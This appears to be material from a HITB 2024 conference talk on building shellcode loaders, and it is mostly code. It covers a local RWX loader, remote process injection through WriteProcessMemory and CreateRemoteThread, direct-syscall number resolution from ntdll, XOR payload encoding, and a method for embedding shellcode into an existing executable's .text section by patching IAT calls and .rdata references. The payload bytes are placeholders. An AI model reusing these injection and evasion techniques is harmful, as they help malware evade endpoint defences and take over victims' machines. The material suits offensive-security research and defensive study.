[HITBSecConf2024 — 曼谷] COMMSEC：我的第一个也是最后一个 Shellcode 加载器

#include "stdafx.h"
#include "Windows.h"

int main()
{
    unsigned char shellcode[] = "x69x69x69x69x69x69x69x69x69x69x69x69x69x69x69";

    void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();

    return 0;
}

#include "stdafx.h"
#include "Windows.h"

int main(int argc, char *argv[])
{
    unsigned char shellcode[] = "x69x69x69x69x69x69x69x69x69x69x69x69x69x69x69";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;

    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}

...
HANDLE hNtdll = GetModuleHandleA("ntdll.dll");

UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];

UINT_PTR pNtWriteVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
wNtWriteVirtualMemory = ((unsigned char*)(pNtWriteVirtualMemory + 4))[0];

UINT_PTR pNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, "NtCreateThreadEx");
wNtCreateThreadEx = ((unsigned char*)(pNtCreateThreadEx + 4))[0];

UINT_PTR pNtWaitForSingleObject = (UINT_PTR)GetProcAddress(hNtdll, "NtWaitForSingleObject");
wNtWaitForSingleObject = ((unsigned char*)(pNtWaitForSingleObject + 4))[0];
...

...
byte[] buf = new byte[69] {0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69,0x69};

byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
  encoded[i] = (byte)((uint)buf[i] ^ 0xfa);
}
...

...
std::string GetComputerName() {
    DWORD bufferSize = MAX_COMPUTERNAME_LENGTH + 1;
    char buffer[MAX_COMPUTERNAME_LENGTH + 1];
    
    if (GetComputerNameA(buffer, &bufferSize)) {
        return std::string(buffer);
    } else {
        DWORD error = GetLastError();
        return "Error: " + std::to_string(error);
    }
}
...

┌───────────────────┐ 
│ Hdr │ 
├───────────────────┤ 
│ │ 
│ │ 
├───────────────────┤ 
│ .text │ 
│ ├─────────────┐ 
│ │ │ VirtualAlloc RW 
│ │ │ 
│ │ │ Copy 
├───────────────────┤ │ 
│ .data │ │ VirtualProtect RX / RWX
│ │ │ 
├───────────────────┤ │ Jump 
│ │ │ 
│ │ │ 
│ │ │ 
├───────────────────┤ │ 
│ Shellcode │◄────────────┘ 
│ │ 
├───────────────────┤ 
│ │ 
└───────────────────┘

C Code:
char *dest = VirtualAlloc(NULL, 433, 0x3000, p_RW);

Assembly:
mov r9d, 4
mov r8d, 12288           ; 00003000H
mov edx, 433             ; 000001b1H
xor ecx, ecx
call QWORD PTR __imp_VirtualAlloc

Placeholder Replacement:
mov r9d, 4
mov r8d, 12288           ; 00003000H
mov edx, 433             ; 000001b1H
xor ecx, ecx
DB 0c5H, 0dbH, 0d7H, 00aH, 0ecH, 0afH ; Placeholder for IAT entry

Injecting Shellcode:
ff 15 f3 dd 0a 00      call qword ptr [rip + 0xaddf3]

Offset Calculation:
relative_offset = dest_iat_function_rva - current_instruction_rva - 6
                = 0x14011D958 - 0x14006FB5F - 6 = 0x0ADDF3
Log Message:
(injector.py) Replace c5dbd70aecaf at VA 0x14006FB5F with: call to IAT at VA 0x14011D958 (VirtualAlloc)
(asmdisasm.py) [00000000] ff 15 f3 dd 0a 00      call qword ptr [rip + 0xaddf3]

String Reference Example:
C Code:
     wchar_t envVarName[] = L"USERPROFILE";

Assembly:
     $SG72731 DB 'U', 00H, 'S', 00H, 'E', 00H, 'R', 00H, 'P', 00H, 'R', 00H
              DB 'O', 00H, 'F', 00H, 'I', 00H, 'L', 00H, 'E', 00H, 00H, 00H
     ...
     lea rcx, OFFSET FLAT:$SG72731
     mov rdi, rax
     mov rsi, rcx
     mov ecx, 24
     rep movsb

Replace Data Reference:
     DB 094H, 041H, 00aH, 029H, 0f3H, 03bH, 018H ; Placeholder for .rdata data (rcx)
     mov rdi, rax
     mov rsi, rcx
     mov ecx, 24
     rep movsb

Patch the Shellcode:
     lea rcx, [rip + <current-address relative offset>]

Log Messages:
Adding Data to .rdata:
     (injector.py) Handling DataReuse Fixup: $SG72731 <- 94410a29f33b18
     (injector.py) Add to .rdata at 0x14011EAA9 (1174185): $SG72731: USERPROFILE

Patching LEA Instruction:
     (injector.py) Replace bytes 94410a29f33b18 at VA 0x14008E73E with: LEA rcx .rdata 0x14011EAA9
     (asmdisasm.py) [14008e73e] 48 8d 0d 64 03 09 00 lea rcx, [rip + 0x90364]